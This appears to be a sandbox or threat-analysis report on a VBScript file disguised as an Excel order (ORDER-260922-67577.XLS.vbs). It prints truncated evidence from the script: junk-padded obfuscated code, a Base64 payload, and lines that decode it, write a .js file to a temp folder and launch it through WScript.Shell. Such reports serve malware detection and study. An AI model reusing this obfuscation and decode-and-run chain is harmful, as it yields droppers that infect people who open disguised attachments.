ORDER-260922-67577.XLS.vbs
Obfuscated VBS executes decoded payload
Line-bloated VBScript conceals and launches ActiveX-decoded Base64 stageOffice document double-extension WSH script
SHA-2563695f266ddb8b8b61c271bfd6a38de4ffea477212d35c09c49fe285186f25745
MaleculeO₃(As₄ErXe)H₄(Db₂F₂OsPo₃)Md₂(Pt)
Evidence
1
2FyCqiP = ""
3dim tUzIvSjtymVtyntusooPycLgLkgMPOtgfDxLNTjRZRQRZmkqsLFNBSRQI
4IF "49" = "59" THEN
5Dim SwLmWejtoNvphhYFXqhLtHZzpUEIfeNmgCuWYfCmhY
6'kYoAKehIebjFPLXLwCaaNKAJJemChroueUWAKpJZbXzlCbnjzMjzMGLaXfrfsebmnoauoWA
7End If
8FyCqiP = FyCqiP & "aFZ0Y0pPa3RDVXRjTGlVWk5lSXZrYk5TREFvID0gIiIgOw0KLy9HaG5IVUd2dWFJSnpBeEpha1FMY3F4ckZJYlpKYVZtWlBMV2V2TUVIaU5WY1NPUkZyTmRxUmNzSnBpenRobVVFVmprcGJlZlhNRXRjY1BtdUpVUk1zd0ltU01vTU5LYXdzUUdqZGJkTWlHZE1pUGdadkZqTlVJTVpieFhPcFNLQmR4akxJRFFocUZlbFN2RENnUFJJYk5ja0VoSGZFT1dRd2NqbGdWUnNwQldQZWFHZnVVaWFCQ2FRVXpHYXZrZGNpT3BwTVNXTHlaU1pyTkdlYmNsamZ2T3RDVFJoT3F3RVl1Z1FrUVRieVhjY2pCWUdzY3pUeXR3bXp2bnNBcHhIY09BeGdxdEtJSmxJVG1LQXVLb2xxY0dmeHVRcGRhYkphVXpWQWJaQ2pwS29IblRObG15cUFMUnpIVnptWkVoaGljaXltcHpTa21DQVJSWEthREVxY2tJT0R6TmZjbWNlSWRGZkVVYXZuZkZPSVFpcXhwTVZBcUZ5VFR2bmNUDQp2YXIgcXhKWHNvTHJGRmRJRHdmdEdtUldpbmFHZVJYSE1sWm5TVG9IRmtZdGVHakdzcm5KU2FOSVZGbERYQ3RhUkVmVWdxcGtIWG9WTlhzYkRVT21lTm9sWFFSTmhsa0NyeWNhYVBhQ0JEQnZtc3V4TkpBRG9Hd0RQdHhQWWNDV25sZFB2U0JvdExrYk10emVWVEFYbGdPa0JZ …
30:44… xOgaQXYOUeOBuRSOrDnQylYizovqpOONVTab
31End If
32 Set ZgsOPduWsiYFAmlZYzrZLYsHNlaTSQcvkjATMLkrTxprpEiogqghHnsAnlBeCaDcGcVRmSMMPzGNiASICmncjuowqzfaKGp = CreateObject( VRAYLJzZEKVMjfEOkTCOEuSHoNALoCFxPGPPIHiuYVPexSxwcoznRJTazsjyI )
33
34dim caeyOgIDBIPdsiHDd
35IF "33" = "36" THEN
36Dim eZLqybbbhYG …
39:184… UaKWjYbrFlrRqWnzNPkYQNGmzOHaTucrrlMSnekgJfuDXvUpSegbgDjGUXX ) & "\tspVZuaaxsMw.js"
40dim SEZSaztZgUySqWaImdbYrlkIiRISOISIwWrRgfeouxjJpptC
41IF "56" = "51" THEN
42Dim tRKPMWKgURkJqaKYBpWTeIcHyndtBbStXFZwxDvZLKxOv
…
112:71… xHXSJ
113End If
114 sGNnxAKlYICDsDOecgmTEAVWHxEfnrkOWKZ = kfvECljFuDBCjXmpFXNHYEGPuyYnkhOBRSqREwbRNqdnvSqfgkMDUdjfYgKDMvVMpAkQgUk.NodeTypedValue
115dim zbKrxBiTdzfHDTYZVZdcMfkQPPPNriPNKVoGudRQQPakmdEHtObhtqwUrtcimUbujSxieSesINMxFAelKHTdGhUUYUPBBjdvnfAUgWcbjjZfezOrPqXfByoBxdJKCdqZjQJZzJFneruWIoqZFYlLLyupryWDMSYFtzwNqprFkjAJERtInkFer
116IF "45" = "45" THEN
117Dim fOkWTiAmCbMTodIsciQggabyklaFOQbNuOOlLrWGr …
199:68… pkscXHDMujgu
200End If
201QEkkuSoemqpwRKQxtLYIwuidmpmBmCbTm ECKwKOWXmfaumXXKVpzhskr, sGNnxAKlYICDsDOecgmTEAVWHxEfnrkOWKZ(FyCqiP)
202CreateObject("WScript.Shell").Run ECKwKOWXmfaumXXKVpzhskr
203
204dim jToDMdAUGnnkdNHBIdlRjJkkPMqPYMVKqbSCAtDWbutBwHyKABDQyOKZiDnzmlvtRdtCuEBPZOqoQjnHNgOXIFLbQsUwFDjqzzkSNvPwAoqjYVJyQglGWYkMSSmBjEKVeApQyUuSRSWUOcDu
205IF "38" = "42" THEN
206Dim jWgZRdTbPYAvJNNvdVEXgszvlTpEBPxpOsSN
207'YlDBgNBaUyJDF …